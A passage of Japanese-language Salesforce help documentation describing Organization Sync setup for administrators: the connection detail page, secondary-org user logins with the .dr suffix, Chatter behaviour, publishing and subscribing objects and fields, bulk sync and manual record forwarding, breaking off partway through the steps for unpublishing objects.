段階的な手順: 接続詳細ページを探索する
1. このウォークスルーは、複製接続をすでに設定したシステム管理者を対象に

しています。
まだ設定していない場合は、「組織同期環境の設定」の手順を参照してくだ
さい。

2. 組織同期接続の名前をクリックします。
(ヒント: [接続種別] が [複製] の接続です。) これにより、接続詳細ページが表
示されます。ここで接続に関するすべての作業ができます。

3. [接続の詳細] セクションに全般的な接続設定が表示されます。
接続状況と種別、この組織の複製ロール (プライマリまたはセカンダリ)、各
組織の取引先責任者を参照します。

4. [公開オブジェクト] セクションには、リンクされた組織に公開されているオ
ブジェクトが表示されます。
オブジェクトを公開すると、この組織でそのオブジェクト種別のレコードに対して行われたすべての更新
が、リンクされた組織と同期されます。

5. [登録オブジェクト] セクションには、リンクされた組織から登録したオブジェクトが表示されます。
このセクションは、オブジェクトに登録している場合にのみ表示されます。オブジェクトに登録すると、
リンクされた組織でそのオブジェクト種別のレコードに対して行われたすべての更新が、この組織と同期
されます。

6. [接続履歴] セクションには、接続設定への変更が表示されます。
これには、接続状況の更新、メール通知、公開および登録アクションなどが含まれます。

7. [レコードキュー] には、リンクされた組織に送信されるレコードの更新が表示されます。
ユーザが共有レコードを更新すると、更新はリンクされた組織が受信するまでキューに表示されます。
キューには送信される更新のみが表示されるため、組織ごとに異なります。

8. [組織の同期ログ] には、同期エラーがリストされます。
リンクされた組織に更新を送信できない場合、その更新は、詳細を調査できるようにこのログに追加され
ます。完全なログは、[組織の同期ログ] タブで使用できます。

これで準備完了です。
接続詳細ページのツアーが終了しました。詳細は、「組織同期」を参照してください。
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組織同期ユーザ環境の定義

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期のユーザ転送、ログイン、およびデータに関連するオプションと制限
事項について理解します。

組織同期でのユーザの再転送
組織同期でユーザがセカンダリ組織に再転送される方法を定義できます。ま
た、メンテナンス期間の開始時にユーザに通知する自動ユーザ通知を設定す
ることもできます。
組織同期でのユーザデータの管理
組織同期では、プライマリ組織のユーザレコードが、セカンダリ組織の同一
のユーザレコードに対応付けされます。設定を更新する必要がある場合、
ユーザ関連の更新が組織間でどのように行われるかを理解することが重要です。
セカンダリ組織ログインの管理
組織同期ユーザは、セカンダリ組織にアクセスするための個別のログイン情報が付与されます。セカンダ
リ組織のユーザログインは、プライマリ組織のユーザログインと同様に設定および管理できます。
組織同期での Chatter のしくみ
Chatter はセカンダリ組織で期待どおりに機能しますが、一部の Chatter 機能はプライマリ組織とセカンダリ
組織間で同期されません。

組織同期でのユーザの再転送

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期でユーザがセカンダリ組織に再転送される方法を定義できます。また、
メンテナンス期間の開始時にユーザに通知する自動ユーザ通知を設定すること
もできます。
組織同期に関するユーザへの通知

組織同期はメンテナンス中のユーザ環境に影響するため、メンテナンスに関
して事前に通知することをお勧めします。ユーザにメンテナンス期間中は何
が起こるかを知らせ、セカンダリ組織で別のログイン情報を使用する必要が
あることを伝えます。質問できるフォーラム (Chatter グループなど) の設定を
検討します。

セカンダリ組織へのユーザの再転送
メンテナンス実施時間の開始時に、ユーザをセカンダリ組織 URL に再転送す
る必要があります。設定に応じて、次の操作を実行できます。
• ユーザにセカンダリ組織に切り替えるように伝えてセカンダリ組織 URL を提供する自動一括メールを設

定する。
• メンテナンス中にユーザをセカンダリ組織に再転送する URL を作成する。
• メンテナンス中にユーザをセカンダリ組織に再転送するシングルサインオンソリューションを設定す

る。
Salesforce Trust Web サイトには、今後のメンテナンス実施時間が表示されます。いつでも任意の期間でユー
ザをセカンダリ組織に再転送できます。
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ビジュアルキューの作成
セカンダリ組織には、組織同期でサポートされているオブジェクトのみが含まれていることをユーザが気
付く可能性があります。必要に応じて、ユーザにセカンダリ組織で作業していることを知らせるビジュア
ルキューを作成することもできます。たとえば、ホームページまたはサイドバーにメッセージを追加しま
す。

組織同期でのユーザデータの管理

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期では、プライマリ組織のユーザレコードが、セカンダリ組織の同一の
ユーザレコードに対応付けされます。設定を更新する必要がある場合、ユーザ
関連の更新が組織間でどのように行われるかを理解することが重要です。
セカンダリ組織にユーザを追加する方法は?

組織同期接続の招待を送信するときに [ユーザを同期]チェックボックスをオ
ンにすると (推奨)、標準 Salesforce ユーザライセンスを持つすべてのユーザは、
接続の招待を受諾するとすぐに自動的にセカンダリ組織にコピーされます。
このオプションを選択すると、ユーザ関連の更新も組織間で同期されます。
ユーザレコードをセカンダリ組織に手動で追加する場合、接続の招待を送信
するときに [ユーザを同期] チェックボックスをオフのままにします。その
後、適切な方法でユーザレコードをセカンダリ組織に追加します。

重要:

• ユーザレコードをセカンダリ組織に手動で追加する場合、一括同期でデータをセカンダリ組織にコ
ピーする前にこの操作を行います。セカンダリ組織のレコードがその組織にまだ存在しないユーザ
を参照する場合、そのユーザを一覧表示する項目が自動的に更新されて接続所有者が一覧表示さ
れ、続いてその項目の値でプライマリ組織の適切な値が上書きされます。

• ユーザを同期するように選択したが、すべてのユーザの複製を手動でトリガする必要がある場合、
プライマリ組織の組織同期接続の詳細ページに移動します。[接続の詳細] セクションで、[編集] を
クリックして [ユーザを同期]チェックボックスをオフにし、[保存]をクリックします。次に、もう
一度 [編集]をクリックして [ユーザを同期]チェックボックスを再度オンにし、[保存]をクリックし
ます。

セカンダリ組織にユーザがログインする方法は?

ユーザは、プライマリ組織のユーザ名とカスタムパスワードの修正版でセカンダリ組織にログインします。
セカンダリ組織にすべてのユーザが追加されたことを確認する方法は?

プライマリ組織の組織同期接続の詳細ページで [接続状況] 項目を確認します。メタデータが同期される
(サポートされているメタデータがセカンダリ組織にコピーされる) ように選択した場合、接続の招待を受
諾するとすぐに接続状況が Metadata Sync in Progress になります。その後、ユーザがセカンダリ組
織にコピーされている間は接続状況が User Sync in Progress に変わります。接続状況が Active に
変わると、すべてのユーザレコードをセカンダリ組織で使用できるようになります。ユーザの複製エラー
は組織の同期ログに記録されます。

ユーザ同期が完了するまでの所要時間は?

所要時間は、プライマリ組織のユーザデータの量によって異なります。
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同期されるユーザ種別
標準 Salesforce ユーザライセンスを持つすべてのユーザが同期されます。このカテゴリに属するユーザにつ
いての詳細は、「標準ユーザライセンス」を参照してください。

ユーザ関連の更新は同期されるのか?

はい、できます。次の更新は、組織間で両方向にリアルタイムで同期されます。
• ユーザの追加、更新、または無効化
• ユーザへのロール、ユーザプロファイル、権限セットの割り当て (ロール、ユーザプロファイル、権限

セットが両方の組織に存在する場合)

メタデータの同期を選択した場合、ユーザプロファイルの作成や更新など、他のユーザ関連のメタデータ
の変更も自動的に同期されます。

メモ: ユーザの更新を一方向 (プライマリ組織からセカンダリ組織) にのみ同期する場合は、セカンダ
リ組織にログインし、組織同期接続の詳細ページで[ユーザを同期]チェックボックスをオフにします。
この設定により、ユーザの更新がセカンダリ組織からプライマリ組織には送信されなくなります。

ユーザを同期するが、メタデータを同期しない場合は?

同期の問題を最小限に抑えるために、接続の招待を送信するときに [ユーザを同期] と [メタデータを同期]

の両方のオプションを選択することをお勧めします。ただし、ユーザを同期するが、メタデータを同期し
ない場合、プライマリ組織のメタデータに合わせてセカンダリ組織のメタデータを更新するまで接続の招
待を受諾しないでください。ユーザプロファイルなどのユーザ関連のメタデータがセカンダリ組織にない
場合、ユーザの一括同期は失敗し、再度実行する必要があります。ユーザの同期エラーは組織の同期ログ
に記録されます。

セカンダリ組織ログインの管理

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期ユーザは、セカンダリ組織にアクセスするための個別のログイン情報
が付与されます。セカンダリ組織のユーザログインは、プライマリ組織のユー
ザログインと同様に設定および管理できます。
ユーザは、プライマリ組織のユーザ名とカスタムパスワードの修正版でセカン
ダリ組織にログインします。セカンダリ組織のユーザ名は末尾に .drが付けられ
ます。これにより、ユーザレコードが 2 つの組織間で正しく対応付けられます。
たとえば、プライマリ組織のユーザ名が tmiller@mycompany.comの場合、セカンダ
リ組織のユーザ名は tmiller@mycompany.com.dr になります。
.dr サフィックスは、ユーザレコードがセカンダリ組織にコピーされるときに自
動的にユーザ名に追加されます。ただし、セカンダリ組織内で新規ユーザを作
成する場合、手動でユーザ名に .dr を追加する必要があります。.dr が追加され
てない場合、ユーザレコードはプライマリ組織にコピーされません。セカンダリ組織の [組織の同期ログ] に
ユーザ名エラーが表示されます。

メモ: ユーザがパスワードの最大試行回数を超過してプライマリ組織からロックアウトされた場合でも、
セカンダリ組織にはログインできます。
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ユーザログインの設定
ユーザの同期が完了したら、Salesforce システム管理者はセカンダリ組織にログインし、すべてのユーザパス
ワードをリセットする必要があります。これにより、仮のパスワードを使用するすべてのユーザにメールが送
信されます。このメールで、セカンダリ組織のユーザ名 (通常の Salesforce ユーザ名に .dr が追加された名前) で
使用されるパスワードが提供されることをユーザに知らせます。
ユーザは対応するログイン情報を使用して、Salesforce ログインページからいずれかの組織にログインできま
す。セカンダリ組織のログインは、プライマリ組織のログインと同様に管理されます。
新規ユーザのための仮のパスワードは 6 か月で期限切れになり、初回のログイン時にこのパスワードを変更す
る必要があります。メールに記載されているログインリンクは一度しか使用できません。リンクをクリックし
たもののパスワードを設定しなかったユーザがログインするには、システム管理者にパスワードをリセットし
てもらう必要があります。

組織同期での Chatter のしくみ

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Chatter はセカンダリ組織で期待どおりに機能しますが、一部の Chatter 機能はプ
ライマリ組織とセカンダリ組織間で同期されません。
双方向同期を有効化した場合、組織同期で Chatter は次のように動作します。
投稿

テキスト、リンク、ファイル投稿およびコメントは組織間で同期されるた
め、一方の組織で行われた投稿はもう一方の組織にも表示されます。最大 2

GB までのファイル投稿がサポートされます。

メモ: 組織がフィードの同期をサポートするように設定されている必要
があります。

いいね!

ユーザはプライマリ組織と同様にセカンダリ組織で投稿とコメントにいいね! ができます。ただし、ある組
織に対するいいね! は他の組織には表示されません。プライマリ組織とセカンダリ組織のいずれの投稿にい
いね! と言ったかにかかわらず、ユーザはいいね! と言った投稿またはコメントの活動に関するメール通知
を受信します。たとえば、Rita がセカンダリ組織で作業中に投稿にいいね! と言ったとします。プライマリ
組織での作業に戻った場合、その投稿へのいいね! は表示されません。ただし、いずれかの組織で誰かがそ
の投稿にコメントすると、Rita はメール通知を受信します。

共有
ユーザはプライマリ組織と同様にセカンダリ組織で投稿の [共有] をクリックできます。

グループ
ユーザはプライマリ組織と同様にセカンダリ組織で Chatter グループを作成および編集できますが、グルー
プは 2 つの組織間で同期されません。つまり、プライマリ組織に存在するグループはセカンダリ組織には
表示されません。逆の場合もまた同様です。

メンション
ユーザはプライマリ組織と同様に、セカンダリ組織で他のユーザやグループをメンションできます。ただ
し、ある組織で行ったメンションは他の組織ではクリックできません。たとえば、ユーザがプライマリ組
織で「@Ella Roberts、これを気に入るかもしれません。」とコメントしたとします。セカンダリ組織にもこ
のコメントが表示されますが、「@Ella Roberts」は Ella のプロファイルにリンクされません。
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トピック
ユーザはプライマリ組織と同様にセカンダリ組織で投稿にトピックを追加できますが、トピックは 2 つの
組織間で同期されません。つまり、プライマリ組織で投稿にトピックを追加しても、セカンダリ組織のそ
の投稿にはトピックが表示されません。

組織同期でのオブジェクトの公開および登録

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

プライマリ組織とセカンダリ組織が組織同期接続で接続されたら、レコードの
挿入、更新、削除を組織間で送信する公開および登録プロセスを実行します。
公開および登録プロセスでは、オブジェクトとその項目がプライマリ組織に公
開され、セカンダリ組織で登録されます。次に、レコードの更新が両方向に送
信されるようにするため、セカンダリ組織からプライマリ組織に対して同じプ
ロセスが繰り返されます。
オブジェクトの公開ではレコードはセカンダリ組織にコピーされません。その
後一括同期を実行してプライマリ組織からセカンダリ組織にそのオブジェクト
種別のレコードをコピーできるパスを作成するだけです。たとえば、取引先オ
ブジェクトを公開したら、すべての取引先をセカンダリ組織にコピーする一括
同期を実行できます。初回一括同期後、そのオブジェクト種別のすべてのレコー
ドの挿入、更新、削除は自動的に両方の組織で同期されます。

ヒント: 接続詳細ページは、組織同期接続を中央管理するための拠点です。接続を確立したら、少し時間

を取って次の対話型ウォークスルーでこのページに慣れてください。 段階的な手順: 接続詳細ペー
ジを探索する。開始前に、[接続] タブを Salesforce 環境に追加してください。

公開可能なオブジェクト
組織同期では特定のオブジェクトのみを公開できます。公開するオブジェクトは慎重に選択してください。
ビジネスに欠かせないオブジェクトの公開に焦点を絞ります。
参照関係について
公開および登録プロセスを開始する前に、組織同期における参照関係の役割を理解しておく必要がありま
す。組織同期はほとんどの標準参照関係を自動的に保持します。ただし、データモデルの階層を反映する
ようにオブジェクトとその項目を公開する必要があります。
セカンダリ組織へのオブジェクトの公開
組織同期接続を設定したら、任意のオブジェクトをセカンダリ組織に公開できます。
公開項目の編集
組織同期でオブジェクトを公開する場合、そのオブジェクトで公開する項目も制御できます。親オブジェ
クトを公開するとデフォルトですべてのサポート対象項目が公開されますが、必要に応じて項目を非公開
にできます。項目が公開されていない場合、その項目はリンクされた組織には表示されません。
セカンダリ組織でのオブジェクトの登録
組織同期でオブジェクトを公開したら、セカンダリ組織でそのオブジェクトを登録する必要があります。
オブジェクトを登録するときに、オブジェクトをそれ自体に対応付けて、そのオブジェクト種別のレコー
ドがセカンダリ組織で表示されるようにします。
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登録項目の編集
組織同期でオブジェクトを登録すると、デフォルトでその項目が自動的に登録されます。データが確実に
同期されるように、項目がそれ自体に自動的に対応付けられます。
プロセスの公開の完了
プライマリ組織でオブジェクトを公開してセカンダリ組織でそのオブジェクトを登録することで、そのオ
ブジェクト種別のレコードの更新がプライマリ組織からセカンダリ組織に送信されます。更新を両方向に
送信するには、同じオブジェクトを逆方向 (セカンダリ組織からプライマリ組織) に公開および登録する必
要があります。

公開可能なオブジェクト

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期では特定のオブジェクトのみを公開できます。公開するオブジェクト
は慎重に選択してください。ビジネスに欠かせないオブジェクトの公開に焦点
を絞ります。
公開するオブジェクトを決定するときに、オブジェクト間のリレーションを考
慮します。オブジェクトが別のオブジェクトの子である場合 (たとえば、取引先
責任者は取引先の子)、セカンダリ組織で取引先責任者の取引先への参照が機能
するように、両方のオブジェクトを公開します。
組織同期では次のオブジェクトを公開できます。
リリース済みのカスタムオブジェクト
取引先
添付ファイル (非公開および公開)

ケース
ケースコメント (非公開および公開)

ケースチームのメンバー
定義済みのケースチームメンバーが含まれますが、ユーザであるケースチームメンバーのみに適用されま
す。取引先責任者であるケースチームメンバーはサポートされていません。

取引先責任者
個人取引先が組織で有効化されている場合、最良の結果を得るには取引先責任者と取引先を同時に公開し
ます。

メールメッセージ
メールドラフトとインライン画像はサポートされていません。

フィードコメント
フィード項目

組織同期接続の確立時に [フィードと監査項目を同期] オプションを選択した場合、2 つの組織間でフィード
を同期するためにフィード項目オブジェクトとフィードコメントオブジェクトを公開する必要があります。
50 MB 未満のテキスト、リンク、ファイル投稿のみがサポートされています。
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リード
商談

最良の結果を得るには、商談のレコード詳細ページから商談フェーズを更新します。商談フェーズのグロー
バル検索および置換アクションは組織同期ではサポートされていないため、プライマリ組織とセカンダリ
組織間では同期されません。

商品
ToDo

関連トピック:

参照関係について
組織同期でのオブジェクトの公開および登録

参照関係について

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

公開および登録プロセスを開始する前に、組織同期における参照関係の役割を
理解しておく必要があります。組織同期はほとんどの標準参照関係を自動的に
保持します。ただし、データモデルの階層を反映するようにオブジェクトとそ
の項目を公開する必要があります。
Salesforce は、1 レベルの参照について階層参照関係を保持します。たとえば、子
オブジェクトである取引先責任者、親オブジェクトである取引先間の参照関係
が保持されます。
親エンティティが Salesforce で削除されると、その子エンティティ (添付ファイル
など) も削除されます。これは組織同期の場合も同様です。たとえば、いくつか
の添付ファイルがあるケースが同期された場合、いずれかの組織でケースが論
理削除されると、両方の組織でそのケースと添付ファイルが論理削除されます。
同様に、いずれかの組織でケースを復元すると、両方の組織でそのケースと添付ファイルが復元されます。
組織同期接続で公開されているエンティティの参照関係が変更されないようにするには、次のガイドラインに
従います。
• 公開および登録で両方のエンティティが選択されている必要があります。
• 親エンティティは、子エンティティ以前にセカンダリ組織に公開します。参照関係にある子エンティティ

が最初に公開されると、参照項目が空白になります。その参照項目が必要な場合、レコードの複製に失敗
します。最良の結果を得るには、すべてのオブジェクトを同時に公開して参照関係をそのまま保持します。

• データモデルに循環参照が存在しないようにする必要があります。
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セカンダリ組織へのオブジェクトの公開

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

公開オブジェクトを編集
する
• 「接続の管理」

組織同期接続を設定したら、任意のオブジェクトをセカンダリ組織に公開でき
ます。
オブジェクトを公開および登録するときに、そのオブジェクトのレコードの挿
入、更新、削除を両方の組織で同期できる、プライマリ組織とセカンダリ組織
間のリンクを作成します。
プライマリ組織からセカンダリ組織にオブジェクトを公開する手順は、次のと
おりです。
1. プライマリ組織にログインします。
2. [接続] タブに移動します。
3. [接続名] 列で、組織同期接続の名前をクリックします。
4. [公開オブジェクト] セクションで、[公開 / 非公開] をクリックします。
5. セカンダリ組織に公開するすべてのオブジェクトを選択します。

6. [保存] をクリックします。公開したオブジェクトが [公開オブジェクト] セクションに表示されます。
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公開項目の編集

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

公開項目を編集する
• 「接続の管理」

組織同期でオブジェクトを公開する場合、そのオブジェクトで公開する項目も
制御できます。親オブジェクトを公開するとデフォルトですべてのサポート対
象項目が公開されますが、必要に応じて項目を非公開にできます。項目が公開
されていない場合、その項目はリンクされた組織には表示されません。
オブジェクトの公開項目を編集する手順は、次のとおりです。
1. [接続] タブに移動します。
2. [接続名] 列で、組織同期接続の名前をクリックします。
3. [公開オブジェクト] セクションで、オブジェクト名の横にある[編集]をクリッ

クします。

そのオブジェクトに関連する項目のリストが表示されます。デフォルトでは、すべてのサポート対象項目
が選択されています。

メモ:

• 監査項目は自動的に同期されるため、公開可能な項目のリストには表示されません。
• リッチテキストエリア (RTA) 項目は公開できません。
• 数式項目と積み上げ集計項目は、その値が他の項目値によって決まるため、公開できません。回避

策として、数式項目または積み上げ集計項目の入力項目を公開します。次に、セカンダリ組織に同
一の数式項目または積み上げ集計項目を作成し、その入力項目を参照して値を計算します。

• 未公開オブジェクトへの参照項目は、公開すると同期エラーが発生する可能性があるため、自動的
に公開されません。たとえば、取引先責任者オブジェクトの項目に取引先へのルックアップが含ま
れていて、取引先オブジェクトがまだ公開されていない場合、その項目は手動でしか公開できませ
ん。

4. 公開しない項目は選択を解除します。項目を公開する前に、影響を受ける参照関係を確認します。
5. [保存] をクリックします。
6. 双方向同期が実装されていて、公開および登録済みの項目を非公開にする場合は、リンクされた組織で上

記の手順を繰り返します。

警告: 一方の組織で項目に対して次のいずれかのアクションを実行した場合、その項目はリンクされた組
織で自動的に登録解除されます。
• 項目を削除する
• データ型を変更する
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• ロングテキストエリア、テキスト、パーセント、数値、通貨の項目のサイズや精度を変更する
項目はそのまま公開されますが、リンクされた組織で再登録する必要があります。

メモ: 組織同期ですでに公開されているオブジェクトに項目を追加する必要がある場合、項目を公開して
登録すると、その更新が同期されます。既存のレコードの項目値は、その項目を公開して登録するまで
更新しないでください。

セカンダリ組織でのオブジェクトの登録

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

登録オブジェクトを編集
する
• 「接続の管理」

組織同期でオブジェクトを公開したら、セカンダリ組織でそのオブジェクトを
登録する必要があります。オブジェクトを登録するときに、オブジェクトをそ
れ自体に対応付けて、そのオブジェクト種別のレコードがセカンダリ組織で表
示されるようにします。
セカンダリ組織でオブジェクトを登録する手順は、次のとおりです。
1. セカンダリ組織にログインします。
2. [接続] タブに移動します。
3. [接続名] 列で、組織同期接続の名前をクリックします。
4. [登録オブジェクト] セクションで、[登録 / 登録解除] をクリックします。
5. 各オブジェクトをそれ自体に対応付けるには、[自動対応付けオブジェクト]

を選択します。たとえば、[取引先] は Account に対応付けます。
6. [保存] をクリックしますこれで、登録したオブジェクトが [登録オブジェク

ト] セクションに表示されます。
組織同期でオブジェクトを登録すると、そのすべての項目が自動的に対応付け
られ登録されます。特定の項目を同期しないようにする場合は、その項目を非公開にします。

登録項目の編集

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

登録項目を編集する
• 「接続の管理」

組織同期でオブジェクトを登録すると、デフォルトでその項目が自動的に登録
されます。データが確実に同期されるように、項目がそれ自体に自動的に対応
付けられます。
オブジェクトの登録項目を参照する手順は、次のとおりです。
1. 登録組織にログインします。
2. [接続] タブに移動します。
3. 組織同期接続の名前をクリックします。
4. [登録オブジェクト] セクションで、オブジェクト名の横にある[編集]をクリッ

クします。
[自分の項目] 列の対応付け値が [--なし--] 以外の場合は、項目が登録され
ています。項目はそれ自体に対応付けられる必要があります (たとえば、[取
引先説明] 項目は [取引先説明] に対応付けられます)。
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メモ:

• [自分の項目] 列で項目が [項目はありません] になっている場合は、その項目がまだ登録されていない
オブジェクトと参照関係にあることを意味します。当該のオブジェクトを登録すると、そのオブジェ
クトを参照する項目も自動的に登録されます。

• 特定の項目を同期しないようにする場合は、単にその項目を非公開にします。登録解除する必要はあ
りません。

プロセスの公開の完了

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

オブジェクトを公開およ
び登録する
• 「接続の管理」

プライマリ組織でオブジェクトを公開してセカンダリ組織でそのオブジェクト
を登録することで、そのオブジェクト種別のレコードの更新がプライマリ組織
からセカンダリ組織に送信されます。更新を両方向に送信するには、同じオブ
ジェクトを逆方向 (セカンダリ組織からプライマリ組織) に公開および登録する
必要があります。

重要: 一方向同期を実装している場合、このプロセスはスキップしてくだ
さい。

1. セカンダリ組織で、すべてのオブジェクトをプライマリ組織に公開します。
2. プライマリ組織で次の操作を実行します。

a. すべての公開オブジェクトを登録して対応付けます。
b. 必要に応じて、オブジェクトの登録項目を編集します。

両方向 (プライマリ組織からセカンダリ組織、およびセカンダリ組織からプライ
マリ組織) でオブジェクトを公開および登録したら、一括同期を実行してレコー
ドをセカンダリ組織にコピーできます。初回一括同期後、すべてのレコードの
挿入、更新、削除は自動的に両方の組織で同期されます。

関連トピック:

同期方法の選択
一括同期の実行
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一括同期の実行

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

一括同期を実行する
• 「接続の管理」

一括同期は、オブジェクト種別が公開および登録されている新規レコードのコ
ピーをトリガし、そのレコードを両方の組織で使用できるようにします。一括
同期はレコードを一方向にコピーするため、プライマリ組織で一括同期を実行
すると、新規レコードがセカンダリ組織にコピーされます。
一括同期を実行する手順は、次のとおりです。
1. 組織同期接続の詳細ページで [一括同期] をクリックします。

すべての公開オブジェクトのリストが含まれる一括同期ページが表示されま
す。

2. 同期するエンティティの数を指定するか、過去 1 年以内の期日を指定し、同
期されるレコードを制御します。

重要: 期日は、デフォルトで現在の日付の 1 年前に設定されます。初回
一括同期の場合、日付に基づいてレコードをグループ化して同期するこ
とで、一度に処理されるデータ量を最小限に抑えることをお勧めしま
す。
たとえば、期日を 3 か月前に設定して初回の一括同期を実行してから、
開始日を 6 か月前に設定して 2 回目の一括同期を実行します。すでに同
期されているレコードは再同期されないため、レコードのグループ化に
時間はかかりません。

3. [同期開始] をクリックします。

一括同期のガイドライン
一括同期は、オブジェクト種別が公開および登録されているレコードのコピーをトリガし、そのレコード
を両方の組織で使用できるようにします。一括同期でレコードがコピーされると、そのレコードに対する
その後の更新はすべて同期されます。
レコードの手動転送
組織同期でのセカンダリ組織へのレコードのコピーには主に一括同期機能を使用しますが、Salesforce のレ
コード詳細ページから個別のレコードを転送することもできます。
オブジェクトと項目の非公開
オブジェクトまたは項目の同期を停止するには、組織同期でそれらを組織から非公開にできます。非公開
にするオブジェクトまたは項目に関連付けられた参照関係に注意してください。

関連トピック:

一括同期のガイドライン
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一括同期のガイドライン

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

一括同期は、オブジェクト種別が公開および登録されているレコードのコピー
をトリガし、そのレコードを両方の組織で使用できるようにします。一括同期
でレコードがコピーされると、そのレコードに対するその後の更新はすべて同
期されます。
一括同期を実行する必要がある状況は?

組織同期設定の一部として公開および登録プロセスを完了した時点では、セ
カンダリ組織にレコードはまだ含まれていません。初回一括同期を実行して
セカンダリ組織にすばやくレコードを設定することで、ダウンタイム中に
ユーザがデータにアクセスできるようになります。さらに、新規オブジェク
トを公開および登録するたびに一括同期を実行します。

[一括同期] ページで期日を選択する方法は?

一括同期は、過去 1 年以内の特定の日付後に作成または変更されたレコードのコピーをトリガします。[一
括同期] ページでこの日付を選択します。初回一括同期の場合、日付に基づいてレコードをグループ化して
同期することで、一度に処理されるデータ量を最小限に抑えることをお勧めします。
たとえば、期日を 3 か月前に設定して初回の一括同期を実行してから、開始日を 6 か月前に設定して 2 回目
の一括同期を実行します。すでに同期されているレコードは再度コピーされないため、レコードのグルー
プ化に時間はかかりません。

一括同期の進行状況を監視する方法は?

組織同期接続の詳細ページの [組織同期レコードキュー] で、残りの同期対象レコード総数を確認できます。
同期の進行中、[一括同期] ボタンは無効化されます。Salesforce からログアウトしても同期には影響しませ
ん。同期が完了すると、[一括同期] ボタンが再度クリック可能になります。

一括同期が失敗することはありますか?

一括同期に含まれるレコードに問題がある場合 (無効な参照関係など)、そのレコードとその子レコードは
コピーされませんが、失敗したレコードに無関係のレコードはそのまま一括同期でコピーされます。複製
エラーは組織の同期ログに記録され、メタデータ関連のエラーは接続履歴ログに記録されます。

一括同期にかかる時間は?

一括同期にかかる時間は、コピーされるレコード数によって異なります。数時間から数日かかる場合があ
ります。

関連トピック:

一括同期の実行
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レコードの手動転送

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

レコードの外部共有状況
を表示する
• レコードに対する「参

照」

組織同期接続を管理する
• 「接続の管理」

組織同期でのセカンダリ組織へのレコードのコピーには主に一括同期機能を使
用しますが、Salesforce のレコード詳細ページから個別のレコードを転送するこ
ともできます。
まず、組織同期で公開される各オブジェクト種別のページレイアウトに [外部共
有] 関連リストを追加します。[外部共有] 関連リストには、各レコードの共有状
況、およびレコードが共有されている接続が表示されます。
1. レコードおよびその関連レコードをセカンダリ組織に転送する手順は、次の

とおりです。
a. レコードの詳細ページに移動します。
b. [外部共有] 関連リストで、[これ [オブジェクト種別] を転送] をクリックし

ます。

2. 複数のレコードをセカンダリ組織に転送する手順は、次のとおりです。
a. 転送するレコードタイプのタブを選択します。
b. [ビュー]のドロップダウンリストからリストビューを選択して、[Go!]を

クリックします。
c. リストビューで、転送するレコードを選択します。レコードをすべて選

択するには、列のヘッダーにあるチェックボックスをオンにします。
d. [接続に転送] をクリックします。

3. [選択可能な接続] リストで組織同期接続を選択します。
4. [追加] 矢印をクリックして、[選択済みの接続] リストに接続を移動します。
5. 必要に応じて、転送する関連レコードを選択します。

メモ: ケースをセカンダリ組織に転送する場合、そのユーザのケースチームメンバー、フィード項目、
フィードコメント、定義済みのケースチームは自動的にケースと共に転送されるため、これらを転送
するオプションは表示されません。取引先責任者のケースチームメンバーはサポートされていませ
ん。

6. [保存] をクリックします。
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オブジェクトと項目の非公開

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

公開オブジェクトを編集
する
• 「接続の管理」

オブジェクトまたは項目の同期を停止するには、組織同期でそれらを組織から
非公開にできます。非公開にするオブジェクトまたは項目に関連付けられた参
照関係に注意してください。
組織同期でオブジェクトを非公開にした場合、そのオブジェクト種別の同期さ
れたレコードは 2 つの組織間で切断されます。たとえば、取引先オブジェクト
を非公開にしてから、同期された取引先レコードをプライマリ組織で編集する
と、取引先は同期されなくなっているため、その編集はセカンダリ組織には反
映されません。
組織同期でオブジェクトの項目を非公開にした場合、そのオブジェクト種別の
同期されたレコードはその項目を同期しなくなります。たとえば、商談オブジェ
クトから [金額]項目を非公開にした場合、同期された商談レコードは同期され
続けますが、商談レコードの [金額]項目に行われた編集は別の組織には適用さ
れません。[金額]項目が非公開にされた後に商談レコードが作成された場合、
レコードはセカンダリ組織に自動的に転送されますが、セカンダリ組織で [金
額] 項目は表示されません。
1. オブジェクトを非公開にする手順は、次のとおりです。

a. プライマリ組織にログインします。
